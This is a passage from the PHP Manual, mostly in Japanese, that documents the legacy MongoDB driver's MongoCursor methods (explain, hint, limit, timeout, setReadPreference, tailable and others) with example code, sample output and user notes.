            MongoCursor::doQuery();
        }
    }
}

?>

User Contributed Notes

There are no user contributed notes for this page.


最適化やデバッグの際に有効な、クエリの explain を返す

  • ≪ MongoCursor::doQuery
  • MongoCursor::fields ≫
  • PHP Manual
  • MongoCursor
  • 最適化やデバッグの際に有効な、クエリの explain を返す

MongoCursor::explain

(PECL mongo >=0.9.2)

MongoCursor::explain — 最適化やデバッグの際に有効な、クエリの explain を返す

説明

public MongoCursor::explain ( ) : array

パラメータ

この関数にはパラメータはありません。

返り値

クエリの explain を返します。

例

例1 MongoCursor::explain() の例

<?php

$cursor = $collection->find(array("x"=>1), array("y"));
$cursor->sort(array("z" => 1))->limit(4)->skip(5);

var_dump($cursor->explain());

?>

上の例の出力は、 たとえば以下のようになります。

array(8) {
  ["cursor"]=>
  string(15) "BtreeCursor x_1"
  ["startKey"]=>
  array(1) {
    ["x"]=>
    int(1)
  }
  ["endKey"]=>
  array(1) {
    ["x"]=>
    int(1)
  }
  ["nscanned"]=>
  float(4)
  ["n"]=>
  int(4)
  ["scanAndOrder"]=>
  int(1)
  ["millis"]=>
  int(3)
  ["allPlans"]=>
  array(2) {
    [0]=>
    array(3) {
      ["cursor"]=>
      string(15) "BtreeCursor x_1"
      ["startKey"]=>
      array(1) {
        ["x"]=>
        int(1)
      }
      ["endKey"]=>
      array(1) {
        ["x"]=>
        int(1)
      }
    }
    [1]=>
    array(3) {
      ["cursor"]=>
      string(11) "BasicCursor"
      ["startKey"]=>
      array(0) {
      }
      ["endKey"]=>
      array(0) {
      }
    }
  }
}

エラー / 例外

データベースに接続できない場合に MongoConnectionException をスローします。

参考

MongoDB コアドキュメントの » explain を参照ください。

User Contributed Notes

There are no user contributed notes for this page.


クエリのフィールドを設定する

  • ≪ MongoCursor::explain
  • MongoCursor::getNext ≫
  • PHP Manual
  • MongoCursor
  • クエリのフィールドを設定する

MongoCursor::fields

(PECL mongo >=1.0.6)

MongoCursor::fields — クエリのフィールドを設定する

説明

public MongoCursor::fields ( array $f ) : MongoCursor

フィールドは "fieldname" : bool 形式で指定します。 true はそのフィールドを返すこと、そして false はそのフィールドを返さないことを意味します。 1 および 0 を、それぞれ true および false のかわりに使うこともできます。

"summary" フィールドだけを返すようにするには次のようにします。

<?php

$cursor->fields(array("summary" => true));

?>

"hidden" 以外のすべてのフィールドを返すには次のようにします。

<?php

$cursor->fields(array("hidden" => false));

?>

パラメータ

f

返したい (あるいは返したくない) フィールド。

返り値

このカーソルを返します。

エラー / 例外

このカーソルの反復処理が始まっている場合、あるいはスカラー型の引数を渡した場合に MongoCursorException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


カーソルを次の結果に進めてその結果を返す

  • ≪ MongoCursor::fields
  • MongoCursor::getReadPreference ≫
  • PHP Manual
  • MongoCursor
  • カーソルを次の結果に進めてその結果を返す

MongoCursor::getNext

(PECL mongo >=0.9.0)

MongoCursor::getNext — カーソルを次の結果に進めてその結果を返す

説明

public MongoCursor::getNext ( ) : array

注意:

MongoCursor::getNext() は MongoCursor::next() のエイリアスです。

User Contributed Notes

There are no user contributed notes for this page.


このクエリの優先読み込みを取得する

  • ≪ MongoCursor::getNext
  • MongoCursor::hasNext ≫
  • PHP Manual
  • MongoCursor
  • このクエリの優先読み込みを取得する

MongoCursor::getReadPreference

(PECL mongo >=1.3.3)

MongoCursor::getReadPreference — このクエリの優先読み込みを取得する

説明

public MongoCursor::getReadPreference ( ) : array

パラメータ

この関数にはパラメータはありません。

返り値

この関数は、優先読み込みに関する配列を返します。配列に含まれる内容は、type (優先読み込みモードを表す文字列。MongoClient の定数に対応)、そして tagsets (すべてのタグセット条件のリスト) です。タグセットを指定しなかった場合は、tagsets は存在しません。

例

例1 MongoCursor::getReadPreference() の返り値の例

<?php

$m = new MongoClient();
$cursor = $m->test->users->find();
$cursor->setReadPreference(MongoClient::RP_SECONDARY, array(
    array('dc' => 'east', 'use' => 'reporting'),
    array('dc' => 'west'),
    array(),
));
var_dump($cursor->getReadPreference());
?>

上の例の出力は以下となります。

array(2) {
  ["type"]=>
  string(9) "secondary"
  ["tagsets"]=>
  array(3) {
    [0]=>
    array(2) {
      ["dc"]=>
      string(4) "east"
      ["use"]=>
      string(9) "reporting"
    }
    [1]=>
    array(1) {
      ["dc"]=>
      string(7) "west"
    }
    [2]=>
    array(0) {
    }
  }
}

参考

  • 優先読み込みのドキュメント
  • MongoCursor::setReadPreference() - このクエリの優先読み込みを設定する
  • MongoCursorInterface::getReadPreference() - Get the read preference for this query

User Contributed Notes

There are no user contributed notes for this page.


このカーソルにまだ要素があるかどうかを調べる

  • ≪ MongoCursor::getReadPreference
  • MongoCursor::hint ≫
  • PHP Manual
  • MongoCursor
  • このカーソルにまだ要素があるかどうかを調べる

MongoCursor::hasNext

(PECL mongo >=0.9.0)

MongoCursor::hasNext — このカーソルにまだ要素があるかどうかを調べる

説明

public MongoCursor::hasNext ( ) : bool

パラメータ

この関数にはパラメータはありません。

返り値

まだ要素があるかどうかを返します。

エラー / 例外

データベースに接続できない場合に MongoConnectionException、 そしてタイムアウトに達した場合に MongoCursorTimeoutException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


クエリについてのヒントをデータベースに与える

  • ≪ MongoCursor::hasNext
  • MongoCursor::immortal ≫
  • PHP Manual
  • MongoCursor
  • クエリについてのヒントをデータベースに与える

MongoCursor::hint

(PECL mongo >=0.9.0)

MongoCursor::hint — クエリについてのヒントをデータベースに与える

説明

public MongoCursor::hint ( mixed $index ) : MongoCursor

パラメータ

index

クエリで使用するインデックス。 文字列を渡した場合は、インデックス名として扱います。 配列あるいはオブジェクトを渡した場合は、それに基づいてインデックスを組み立てます (MongoCollection::ensureIndex() の最初の引数のようになります)。

返り値

このカーソルを返します。

エラー / 例外

このカーソルの反復処理が始まっている場合に MongoCursorException をスローします。

変更履歴

バージョン | 説明
PECL mongo 1.4.0 | index 引数に、文字列でインデックス名を指定できるよういなりました。 これより前のバージョンでは、配列またはオブジェクトしか渡せませんでした。

User Contributed Notes

mr dot bipinks at gmail dot com 18-Aug-2015 04:18
For the series we'll assume we have a collection named posts populated with 500 documents having the following structure:

{
    "_id": ObjectId("5146bb52d852470060001f4"),
    "comments": {
        "0": "This is the first comment",
        "1": "This is the second comment"
    },
    "post_likes": 40,
    "post_tags": {
        "0": "MongoDB",
        "1": "Tutorial",
        "2": "Indexing"
    },
    "post_text": "Hello Readers!! This is my post text",
    "post_type": "private",
    "user_name": "Mark Anthony"
}

The hint() method can be used to force MongoDB to use an index we specify and override the default selection and query optimization process. You can specify the field names used in the index as a argument as shown below:

<?php
// query to find posts with type public and 100 likes
// use hint() to force MongoDB to use the index we created
$cursor = $collection
    ->find(
        array(
            "post_type" => "public",
            "post_likes" => 100
        )
    )
    ->hint(
        array(
            "post_type" => 1,
            "post_likes" => 1
        )
    );
?>

This ensures the query uses the compound index defined on the post_type and post_likes fields.


Sets whether this cursor will timeout

  • ≪ MongoCursor::hint
  • MongoCursor::info ≫
  • PHP Manual
  • MongoCursor
  • Sets whether this cursor will timeout

MongoCursor::immortal

(PECL mongo >=1.0.1)

MongoCursor::immortal — Sets whether this cursor will timeout

説明

public MongoCursor::immortal ( bool $liveForever = true ) : MongoCursor

After remaining idle on the server for some amount of time, cursors, by default, "die." This is generally the behavior one wants. The database cleans up a cursor once all of its results have been sent to the client, but if the client doesn't request all of the results, the cursor will languish there, taking up resources. Thus, after a few minutes, the cursor "times out" and the database assumes the client has gotten everything it needs and cleans up its the cursor's resources.

If, for some reason, you need a cursor to hang around for a long time, you can prevent the database from cleaning it up by using this method. However, if you make a cursor immortal, you need to iterate through all of its results (or at least until MongoCursor::dead() returns true) or the cursor will hang around the database forever, taking up resources.

パラメータ

liveForever

If the cursor should be immortal.

返り値

Returns this cursor.

エラー / 例外

Throws MongoCursorException if this cursor has started iterating.

User Contributed Notes

fastest963 at gmail dot com 09-Jul-2013 12:36
Calling immortal(false), in order to remove the NO_TIMEOUT flag from the cursor, seems to crash with "Fatal error: Exception thrown without a stack frame in Unknown on line 0". I'm running PHP 5.2.17 and MongoDB driver 1.1.4.
iknox {at} info.com 14-Feb-2012 10:48
Note:: There there is an important distinction between timeout and immortal!
Timeout indicates the time to wait on the _client_ side while immortal sets the cursor on the server side.

It is especially useful for large result sets in sharded environments.


カーソルの作成と走査に関する情報を取得する

  • ≪ MongoCursor::immortal
  • MongoCursor::key ≫
  • PHP Manual
  • MongoCursor
  • カーソルの作成と走査に関する情報を取得する

MongoCursor::info

(PECL mongo >=1.0.5)

MongoCursor::info — カーソルの作成と走査に関する情報を取得する

説明

public MongoCursor::info ( ) : array

これは、カーソルの反復処理が始まる前でも後でもコールすることができます。

パラメータ

この関数にはパラメータはありません。

返り値

このカーソルの namespace、batch size、limit、skip、flags、query そして fields を返します。 カーソルの反復処理が始まっている場合は、接続などの追加情報も含まれます。

変更履歴

バージョン | 説明
PECL mongo 1.1.0 | 多くのフィールドが追加されました。id (カーソル ID)、 at (現在のドキュメントを表すドライバのカウンタ)、 numReturned (サーバーが現在のバッチで返した件数)、そして server (クエリの送信先のサーバー。 優先読み込み と組み合わせると便利) などです。
PECL mongo 1.0.10 | started_iterating フィールドが追加されました。boolean で、 このカーソルがクエリ実行前か実行後かを返します。

例

例1 MongoCursor::info() の例

<?php
$m = new MongoClient();

$cursor = $m->test->foo->find(array("x" => 4), array("y" => 0));

echo "Before iteration started:\n";
var_dump($cursor->info());

echo "\nAfter iteration started:\n";
$cursor->rewind();
var_dump($cursor->info());

?>

上の例の出力は、 たとえば以下のようになります。

Before iteration started:
array(8) {
  ["ns"]=>
  string(8) "test.foo"
  ["limit"]=>
  int(0)
  ["batchSize"]=>
  int(0)
  ["skip"]=>
  int(0)
  ["flags"]=>
  int(0)
  ["query"]=>
  array(1) {
    ["x"]=>
    int(4)
  }
  ["fields"]=>
  array(1) {
    ["y"]=>
    int(0)
  }
  ["started_iterating"]=>
  bool(false)
}

After iteration started:
array(15) {
  ["ns"]=>
  string(8) "test.foo"
  ["limit"]=>
  int(0)
  ["batchSize"]=>
  int(0)
  ["skip"]=>
  int(0)
  ["flags"]=>
  int(0)
  ["query"]=>
  array(1) {
    ["x"]=>
    int(4)
  }
  ["fields"]=>
  array(1) {
    ["y"]=>
    int(0)
  }
  ["started_iterating"]=>
  bool(true)
  ["id"]=>
  int(0)
  ["at"]=>
  int(0)
  ["numReturned"]=>
  int(1)
  ["server"]=>
  string(25) "localhost:27017;-;.;26450"
  ["host"]=>
  string(9) "localhost"
  ["port"]=>
  int(27017)
  ["connection_type_desc"]=>
  string(10) "STANDALONE"
}

参考

  • MongoCursorInterface::info() - Gets information about the cursor's creation and iteration

User Contributed Notes

There are no user contributed notes for this page.


現在の結果の _id、あるいは結果セット内のインデックスを返す

  • ≪ MongoCursor::info
  • MongoCursor::limit ≫
  • PHP Manual
  • MongoCursor
  • 現在の結果の _id、あるいは結果セット内のインデックスを返す

MongoCursor::key

(PECL mongo >=0.9.0)

MongoCursor::key — 現在の結果の _id、あるいは結果セット内のインデックスを返す

説明

public MongoCursor::key ( ) : string|int

パラメータ

この関数にはパラメータはありません。

返り値

現在の結果の _id を文字列で返します。 結果に _id が含まれない場合は、結果セット内の数値インデックスを表す整数値を返します。

参考

  • Iterator::key() - 現在の要素のキーを返す

User Contributed Notes

There are no user contributed notes for this page.


返す結果の数を制限する

  • ≪ MongoCursor::key
  • MongoCursor::maxTimeMS ≫
  • PHP Manual
  • MongoCursor
  • 返す結果の数を制限する

MongoCursor::limit

(PECL mongo >=0.9.0)

MongoCursor::limit — 返す結果の数を制限する

説明

public MongoCursor::limit ( int $num ) : MongoCursor

パラメータ

num

返したい結果の数。

返り値

このカーソルを返します。

エラー / 例外

このカーソルの反復処理が始まっている場合に MongoCursorException をスローします。

参考

  • MongoDB コアドキュメントの » limit
  • MongoCursor::batchSize() - Limits the number of elements returned in one batch
  • MongoCursor::skip() - 結果をスキップする

User Contributed Notes

vinicius at codemakers dot com dot br 24-Dec-2013 02:49
//Show only unique result

$cursor = $collection->find();
$cursor->limit(1);


Sets a server-side timeout for this query

  • ≪ MongoCursor::limit
  • MongoCursor::next ≫
  • PHP Manual
  • MongoCursor
  • Sets a server-side timeout for this query

MongoCursor::maxTimeMS

(PECL mongo >=1.5.0)

MongoCursor::maxTimeMS — Sets a server-side timeout for this query

説明

public MongoCursor::maxTimeMS ( int $ms ) : MongoCursor

Specifies a cumulative time limit in milliseconds to be allowed by the server for processing operations on the cursor.

パラメータ

ms

Specifies a cumulative time limit in milliseconds to be allowed by the server for processing operations on the cursor.

返り値

This cursor.

エラー / 例外

Throws MongoCursorException if this cursor has started iterating.

Causes methods that fetch results to throw a MongoExecutionTimeoutException if the query takes longer than the specified number of milliseconds in processing time.

例

例1 MongoCursor::maxTimeMS() example

In the following example, the server will abort the query if the cursor requires more than two seconds in processing time to return its results.

<?php

$cursor = $collection->find();
$cursor->maxTimeMS(2000);

try {
    $results = iterator_to_array($cursor);
} catch (MongoExecutionTimeoutException $e) {
    echo "query took too long!";
}

?>

注意

警告

Unlike MongoCursor::timeout(), which specifies a client-side timeout, MongoCursor::maxTimeMS() can be used to cause the MongoDB server to abort long-running queries. This timeout is cumulative for the lifetime of the cursor (i.e. each batch will contribute to this time limit). The timeout only considers processing time; idle time is not considered.

User Contributed Notes

There are no user contributed notes for this page.


カーソルを次の結果に進めてその結果を返す

  • ≪ MongoCursor::maxTimeMS
  • MongoCursor::partial ≫
  • PHP Manual
  • MongoCursor
  • カーソルを次の結果に進めてその結果を返す

MongoCursor::next

(PECL mongo >=0.9.0)

MongoCursor::next — カーソルを次の結果に進めてその結果を返す

説明

public MongoCursor::next ( ) : array

パラメータ

この関数にはパラメータはありません。

返り値

次のドキュメントを返します。

エラー / 例外

データベースに接続できない場合に MongoConnectionException、 そしてタイムアウトに達した場合に MongoCursorTimeoutException をスローします。

参考

  • Iterator::next() - 次の要素に進む

User Contributed Notes

will dot edgington at gmail dot com 15-Mar-2016 07:17
Just a heads up- with version 1.5.4 of the mongo extension, next() is not returning the same result as its alias getNext() (http://php.net/manual/en/mongocursor.getnext.php).  An array is returned with null values.


If this query should fetch partial results from mongos if a shard is down

  • ≪ MongoCursor::next
  • MongoCursor::reset ≫
  • PHP Manual
  • MongoCursor
  • If this query should fetch partial results from mongos if a shard is down

MongoCursor::partial

(PECL mongo >=1.2.0)

MongoCursor::partial — If this query should fetch partial results from mongos if a shard is down

説明

public MongoCursor::partial ( bool $okay = true ) : MongoCursor

This option allows mongos to send partial query results if a shard is unreachable. This is only applicable when running a sharded MongoDB cluster and connecting to a mongos.

If a shard goes down and a query needs to be sent to that shard, mongos will return the results (if any) from shards it already contacted, then an error message that it could not reach the shard (a MongoCursorException in PHP). If you would like to get whatever results mongos can provide and no exception, you can use this method. Note that this means that you won't have an indication that a shard is down in your query response.

This has no effect on the query if all shards are reachable. This flag was implemented in MongoDB version 1.7.5, so will only work with that version and higher.

パラメータ

okay

If receiving partial results is okay.

返り値

Returns this cursor.

エラー / 例外

Throws MongoCursorException if this cursor has started iterating.

User Contributed Notes

There are no user contributed notes for this page.


カーソルを消去する

  • ≪ MongoCursor::partial
  • MongoCursor::rewind ≫
  • PHP Manual
  • MongoCursor
  • カーソルを消去する

MongoCursor::reset

(PECL mongo >=0.9.0)

MongoCursor::reset — カーソルを消去する

説明

public MongoCursor::reset ( ) : void

パラメータ

この関数にはパラメータはありません。

返り値

null を返します。

User Contributed Notes

fastest963 at gmail dot com 04-Jan-2013 07:45
If you call reset() on a cursor and never call hasNext/getNext/etc it will essentially act as a "close" method. This is useful if you didn't finish fetching all the data from a cursor but don't want it to linger around till MongoDB decides to kill it.


カーソルを結果セットの先頭に戻す

  • ≪ MongoCursor::reset
  • MongoCursor::setFlag ≫
  • PHP Manual
  • MongoCursor
  • カーソルを結果セットの先頭に戻す

MongoCursor::rewind

(PECL mongo >=0.9.0)

MongoCursor::rewind — カーソルを結果セットの先頭に戻す

説明

public MongoCursor::rewind ( ) : void

これは、次の関数と同等です。

<?php

public function rewind() {
    $this->reset();
    $this->next();
}

?>

パラメータ

この関数にはパラメータはありません。

返り値

null を返します。

エラー / 例外

データベースに接続できない場合に MongoConnectionException、 そしてタイムアウトに達した場合に MongoCursorTimeoutException をスローします。

参考

  • Iterator::rewind() - イテレータの最初の要素に巻き戻す

User Contributed Notes

There are no user contributed notes for this page.


Sets arbitrary flags in case there is no method available the specific flag

  • ≪ MongoCursor::rewind
  • MongoCursor::setReadPreference ≫
  • PHP Manual
  • MongoCursor
  • Sets arbitrary flags in case there is no method available the specific flag

MongoCursor::setFlag

(PECL mongo >=1.2.11)

MongoCursor::setFlag — Sets arbitrary flags in case there is no method available the specific flag

説明

public MongoCursor::setFlag ( int $flag , bool $set = true ) : MongoCursor

The MongoCursor class has several methods for setting flags on the query object. This method is available in case the MongoDB wire protocol has acquired a new flag, and the driver has not been updated with a method for this new flag. In all other cases, the method should be used. See the "See also" section for available methods.

パラメータ

flag

Which flag to set. You can not set flag 6 (EXHAUST) as the driver does not know how to handle them. You will get a warning if you try to use this flag. For available flags, please refer to the wire protocol » documentation.

set

Whether the flag should be set (true) or unset (false).

返り値

Returns this cursor.

エラー / 例外

Shows a warning when an unsupport flag is attempted to be set.

変更履歴

バージョン | 説明
PECL mongo 1.4.0 | Support for flag 3 (OPLOG_REPLAY) is added. Versions before 1.4.0 would throw a warning saying that the flag is unsupported.

例

例1 MongoCursor::setFlag() example

<?php
$m = new MongoClient( 'mongodb://localhost:13000', array( 'replSet' => 'seta' ) );
$c = $m->local->selectCollection( 'oplog.rs' );
$cursor = $c->find( array( 'ns' => 'demo.article', 'op' => 'i' ) );
$cursor->setFlag( 1, true ); // sets the tailable flag
$cursor->setFlag( 5, true ); // sets the await data flag
?>

参考

  • MongoCursor::tailable() - Sets whether this cursor will be left open after fetching the last results
  • MongoCursor::immortal() - Sets whether this cursor will timeout
  • MongoCursor::awaitData() - Sets whether this cursor will wait for a while for a tailable cursor to return more data
  • MongoCursor::partial() - If this query should fetch partial results from mongos if a shard is down
  • MongoDB core docs on» wire protocol query flags

User Contributed Notes

There are no user contributed notes for this page.


このクエリの優先読み込みを設定する

  • ≪ MongoCursor::setFlag
  • MongoCursor::skip ≫
  • PHP Manual
  • MongoCursor
  • このクエリの優先読み込みを設定する

MongoCursor::setReadPreference

(PECL mongo >=1.3.3)

MongoCursor::setReadPreference — このクエリの優先読み込みを設定する

説明

public MongoCursor::setReadPreference ( string $read_preference , array $tags = ? ) : MongoCursor

パラメータ

read_preference

読み込みの優先モード。MongoClient::RP_PRIMARY、MongoClient::RP_PRIMARY_PREFERRED、MongoClient::RP_SECONDARY、MongoClient::RP_SECONDARY_PREFERRED あるいは MongoClient::RP_NEAREST のいずれか。

tags

ゼロ個以上のタグセットの配列。各タグセット自体も配列で、レプリカセットのメンバーのタグにマッチさせる条件として使います。

返り値

このカーソルを返します。

エラー / 例外

パラメータが無効な場合、あるいは優先読み込みモードが MongoClient::RP_PRIMARY のときにタグセットを指定した場合に E_WARNING が発生します。

例

例1 MongoCursor::setReadPreference() タグセット配列構文の例

<?php

$m = new MongoClient();
$cursor = $m->test->users->find();

// "east" データセンターの一番近いサーバーをレポート用に使うようにして、
// 代替として "west" データセンターのサーバーを設定します
$cursor->setReadPreference(MongoClient::RP_NEAREST, array(
    array('dc' => 'east', 'use' => 'reporting'),
    array('dc' => 'west'),
));
?>

参考

  • 優先読み込みのドキュメント
  • MongoCursor::getReadPreference() - このクエリの優先読み込みを取得する
  • MongoCursorInterface::setReadPreference() - Set the read preference for this query

User Contributed Notes

There are no user contributed notes for this page.


結果をスキップする

  • ≪ MongoCursor::setReadPreference
  • MongoCursor::slaveOkay ≫
  • PHP Manual
  • MongoCursor
  • 結果をスキップする

MongoCursor::skip

(PECL mongo >=0.9.0)

MongoCursor::skip — 結果をスキップする

説明

public MongoCursor::skip ( int $num ) : MongoCursor

パラメータ

num

スキップしたい結果の数。

返り値

このカーソルを返します。

エラー / 例外

このカーソルの反復処理が始まっている場合に MongoCursorException をスローします。

参考

  • MongoCursor::limit() - 返す結果の数を制限する

User Contributed Notes

There are no user contributed notes for this page.


Sets whether this query can be done on a secondary [deprecated]

  • ≪ MongoCursor::skip
  • MongoCursor::snapshot ≫
  • PHP Manual
  • MongoCursor
  • Sets whether this query can be done on a secondary [deprecated]

MongoCursor::slaveOkay

(PECL mongo >=0.9.4)

MongoCursor::slaveOkay — Sets whether this query can be done on a secondary [deprecated]

説明

public MongoCursor::slaveOkay ( bool $okay = true ) : MongoCursor
警告

This method is deprecated since version 1.5.0. Instead, please use MongoCursor::setReadPreference() and 優先読み込み.

Calling this will make the driver route reads to secondaries if:

  • You are using a replica set, and
  • You created a MongoClient instance using the option "replicaSet" => "setName", and
  • There is a healthy secondary that can be reached by the driver.
You can check which server was used for this query by calling MongoCursor::info() after running the query. It's server field will show which server the query was sent to.

Note that you should use this function even if you do not use the automatic routing to secondaries. If you connect directly to a secondary in a replica set, you still need to call this function, which basically tells the database that you are aware that you might be getting older data and you're okay with that. If you do not call this, you'll get "not master" errors when you try to query.

This method will override the static class variable
MongoCursor::$slaveOkay.  It will also override
Mongo::setSlaveOkay(),
MongoDB::setSlaveOkay() and
MongoCollection::setSlaveOkay().

パラメータ

okay

If it is okay to query the secondary.

返り値

Returns this cursor.

エラー / 例外

Throws MongoCursorException if this cursor has started iterating.

例

例1 MongoCursor::slaveOkay() example

<?php

MongoCursor::$slaveOkay = false;

// cannot query secondary
$cursor = $collection->find();

// can query secondary
$cursor = $collection->find()->slaveOkay();

MongoCursor::$slaveOkay = true;

// can query secondary
$cursor = $collection->find();

// cannot query secondary
$cursor = $collection->find()->slaveOkay(false);

?>

参考

  • 優先読み込み
  • MongoCursor::setReadPreference() - このクエリの優先読み込みを設定する
  • MongoCursor::getReadPreference() - このクエリの優先読み込みを取得する

変更履歴

バージョン | 説明
PECL mongo 1.5.0 | This method has been deprecated in favour of MongoCursor::setReadPreference() and 優先読み込み.

User Contributed Notes

There are no user contributed notes for this page.


このクエリでスナップショットモードを使う

  • ≪ MongoCursor::slaveOkay
  • MongoCursor::sort ≫
  • PHP Manual
  • MongoCursor
  • このクエリでスナップショットモードを使う

MongoCursor::snapshot

(PECL mongo >=0.9.4)

MongoCursor::snapshot — このクエリでスナップショットモードを使う

説明

public MongoCursor::snapshot ( ) : MongoCursor

このクエリでスナップショットモードを使います。 スナップショットモードでは、途中に書き込み操作が混ざった場合にも 同じドキュメントが複数回返されないことを保証します。 カーソルの生存期間中に追加されたり削除されたりしたドキュメントが返されるかどうかは、 スナップショットモードかどうかには関わらず、返されることもあれば返されないこともあります。

短い (1MB 未満の) クエリの応答は、常に事実上スナップショットになることに注意しましょう。

ソートや明示的なヒントを指定している場合、あるいは共有コレクションに対するクエリの場合は、 スナップショットモードは用いられません。

パラメータ

この関数にはパラメータはありません。

返り値

このカーソルを返します。

エラー / 例外

このカーソルの反復処理が始まっている場合に MongoCursorException をスローします。

参考

MongoDB コアドキュメントの » $snapshot 演算子 も参照ください。

User Contributed Notes

There are no user contributed notes for this page.


指定したフィールドで結果をソートする

  • ≪ MongoCursor::snapshot
  • MongoCursor::tailable ≫
  • PHP Manual
  • MongoCursor
  • 指定したフィールドで結果をソートする

MongoCursor::sort

(PECL mongo >=0.9.0)

MongoCursor::sort — 指定したフィールドで結果をソートする

説明

public MongoCursor::sort ( array $fields ) : MongoCursor

パラメータ

fields

ソートするフィールドの配列。配列のキーがフィールド名、そして値には昇順なら 1、降順なら -1 を指定します。

個々の結果は、まず配列内の最初のフィールドでソートされ、次に (もしあれば) 二番目のフィールドでソートされ...というようになります。つまり、 fields 配列でのフィールドを指定する順番が重要になるということです。 サンプルも参照ください。

返り値

このカーソルを返します。

エラー / 例外

このカーソルの反復処理が始まっている場合に MongoCursorException をスローします。

例

例1 MongoCursor::sort() の例

<?php
// x の昇順でソートします
$cursor->sort(array('x' => 1));

// 連想配列内での並び順は重要です。
// たとえば次のふたつの結果は異なる可能性があります

// date の昇順、age の降順でソートします
$cursor->sort(array('date' => 1, 'age' => -1));

// age の降順、date の昇順でソートします
$cursor->sort(array('age' => -1, 'date' => 1));
?>

User Contributed Notes

caleb dot yang dot work at gmail dot com 06-Jul-2018 06:41
This library is dated, I've found the descending sort does not work with the Date type in MongoDB.

Just a gotcha for anyone on this lib


Sets whether this cursor will be left open after fetching the last results

  • ≪ MongoCursor::sort
  • MongoCursor::timeout ≫
  • PHP Manual
  • MongoCursor
  • Sets whether this cursor will be left open after fetching the last results

MongoCursor::tailable

(PECL mongo >=0.9.4)

MongoCursor::tailable — Sets whether this cursor will be left open after fetching the last results

説明

public MongoCursor::tailable ( bool $tail = true ) : MongoCursor

Mongo has a feature known as tailable cursors which are similar to the Unix "tail -f" command.

Tailable means cursor is not closed when the last data is retrieved. Rather, the cursor marks the final object's position. you can resume using the cursor later, from where it was located, if more data were received.

Like any "latent cursor", the cursor may become invalid at some point -- for example if that final object it references were deleted. Thus, you should be prepared to requery if the cursor is MongoCursor::dead().

パラメータ

tail

If the cursor should be tailable.

返り値

Returns this cursor.

エラー / 例外

Throws MongoCursorException if this cursor has started iterating.

例

例1 MongoCursor::tailable() example

<?php

$cursor = $collection->find()->tailable();

$results = array();

while (1) {
    if (!$cursor->hasNext()) {
        // we've read all the results, exit
        if ($cursor->dead()) {
            break;
        }
        // read all results so far, wait for more
        sleep(10);
    }
    else {
        $results[] = $cursor->getNext();
    }
}

?>

参考

MongoDB core docs on » tailable cursors.

  • MongoCursor::awaitData() - Sets whether this cursor will wait for a while for a tailable cursor to return more data

User Contributed Notes

There are no user contributed notes for this page.


このクエリのクライアント側のタイムアウトを設定する

  • ≪ MongoCursor::tailable
  • MongoCursor::valid ≫
  • PHP Manual
  • MongoCursor
  • このクエリのクライアント側のタイムアウトを設定する

MongoCursor::timeout

(PECL mongo >=1.0.3)

MongoCursor::timeout — このクエリのクライアント側のタイムアウトを設定する

説明

public MongoCursor::timeout ( int $ms ) : MongoCursor

タイムアウトはいつでも設定可能で、同じカーソルでのそれ以降のクエリに影響を及ぼします。 また、データベースからのさらなる結果の取得にもこれは影響します。

パラメータ

ms

カーソルがレスポンスを待つミリ秒数。 ずっと待ち続ける場合は -1 を指定します。 デフォルトでは、30000 ミリ秒 (30 秒) だけ待ちます。

返り値

このカーソルを返します。

エラー / 例外

指定したミリ秒数を超える長さのクエリを実行すると、結果を取得するメソッドが MongoCursorTimeoutException をスローするようになります。

例

例1 MongoCursor::timeout() の例

この例では、最初のレスポンスはずっと待ち続けるけれども それ以降の結果は 100 ミリ秒でタイムアウトさせるようにします。

<?php

$cursor = $collection->find();
$cursor->timeout(-1);

/* $cursor->hasNext() はクエリを実行します。タイムアウトが設定されていないので、
 * レスポンスが得られるまでずっと待ち続けます
 */
while ($cursor->hasNext()) {
    $cursor->timeout(100);

    /* タイムアウトが設定されました。カーソルからデータベースにさらに
     * 結果を問い合わせるときは、データベースからのレスポンスを 100 ミリ秒しか待ちません
     */
    try {
        print_r($cursor->getNext());
    } catch (MongoCursorTimeoutException $e) {
        echo "query took too long!";
    }
}

?>

注意

警告

これは、MongoDB サーバー上で時間がかかっている操作をキャンセルさせるわけではありません。 ドライバが結果を待ち続ける時間を指定して、それに達したら MongoCursorTimeoutException をスローするだけです。 サーバー側でのクエリのタイムアウトを指定したい場合は、 MongoCursor::maxTimeMS() を使いましょう。

参考

  • MongoCursorInterface::timeout() - Sets a client-side timeout for this query
  • MongoClient::__construct() - Creates a new database connection object の socketTimeoutMS オプション

User Contributed Notes

Robert Ross 21-Apr-2011 11:10
To set timeouts for all queries, do this:

MongoCursor::$timeout = -1 (-1 is no timeout)


Checks if the cursor is reading a valid result

  • ≪ MongoCursor::timeout
  • MongoCursorInterface ≫
  • PHP Manual
  • MongoCursor
  • Checks if the cursor is reading a valid result

MongoCursor::valid

(PECL mongo >=0.9.0)

MongoCursor::valid — Checks if the cursor is reading a valid result

説明

public MongoCursor::valid ( ) : bool

パラメータ

この関数にはパラメータはありません。

返り値

true if the current result is not null, and false otherwise.

参考

  • Iterator::valid() - 現在位置が有効かどうかを調べる

User Contributed Notes

There are no user contributed notes for this page.


The MongoCursorInterface interface

(PECL mongo >=1.5.0)

はじめに

Interface for cursors, which can be used to iterate through results of a database query or command. This interface is implemented by the MongoCursor and MongoCommandCursor classes.

注意: Similar to Traversable, this interface cannot be implemented in PHP scripts.

クラス概要

MongoCursorInterface extends Iterator {
/* メソッド */
abstract public batchSize ( int $batchSize ) : MongoCursorInterface
abstract public dead ( ) : bool
abstract public getReadPreference ( ) : array
abstract public info ( ) : array
abstract public setReadPreference ( string $read_preference , array $tags = ? ) : MongoCursorInterface
abstract public timeout ( int $ms ) : MongoCursorInterface
/* 継承したメソッド */
abstract public Iterator::current ( ) : mixed
abstract public Iterator::key ( ) : scalar
abstract public Iterator::next ( ) : void
abstract public Iterator::rewind ( ) : void
abstract public Iterator::valid ( ) : bool
}

目次

  • MongoCursorInterface::batchSize — Limits the number of elements returned in one batch
  • MongoCursorInterface::dead — Checks if there are results that have not yet been sent from the database
  • MongoCursorInterface::getReadPreference — Get the read preference for this query
  • MongoCursorInterface::info — Gets information about the cursor's creation and iteration
  • MongoCursorInterface::setReadPreference — Set the read preference for this query
  • MongoCursorInterface::timeout — Sets a client-side timeout for this query

User Contributed Notes

There are no user contributed notes for this page.


Limits the number of elements returned in one batch

  • ≪ MongoCursorInterface
  • MongoCursorInterface::dead ≫
  • PHP Manual
  • MongoCursorInterface
  • Limits the number of elements returned in one batch

MongoCursorInterface::batchSize

(PECL mongo >=1.5.0)

MongoCursorInterface::batchSize — Limits the number of elements returned in one batch

説明

